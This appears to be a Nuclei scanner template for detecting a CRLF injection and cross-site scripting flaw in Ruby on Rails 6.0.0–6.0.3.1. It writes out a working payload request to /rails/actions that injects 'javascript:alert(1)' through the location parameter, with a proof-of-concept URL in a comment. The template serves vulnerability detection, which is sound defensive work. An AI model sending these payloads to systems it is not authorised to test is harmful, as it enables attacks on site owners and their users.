id: rails6-xss # XSS (6.0.0 - 6.0.3.1); Payload is location=%0djavascript:alert(1); # Nuclei has issues with 302 response missing a Location header thus the # extended payload to make Nuclei work. # Working poc by @Mad-robot # /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aalert%28document.domain%29 info: name: Ruby on Rails - CRLF Injection and Cross-Site Scripting author: ooooooo_q,rootxharsh,iamnoooob severity: medium description: Ruby on Rails 6.0.0-6.0.3.1 contains a CRLF issue which allows JavaScript to be injected into the response, resulting in cross-site scripting. reference: - https://hackerone.com/reports/904059 metadata: max-request: 1 tags: rails,xss,crlf,hackerone http: - method: POST path: - "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa" matchers-condition: and matchers: - type: word words: - 'javascript:alert(1)' part: body - type: status status: - 302 - type: word words: - 'Location: aaaaa' - 'text/html' part: header condition: and # digest: 4a0a00473045022100b2b23efd1f25ed4f38c04e28e6009e7c4135b763d70a13e1692e9169c4d0160902205ce411f94817587139aa8e279e05694e334d08a5ce79fa5ee3b07e075cf4b4af:922c64590222798bb761d5b6d8e72950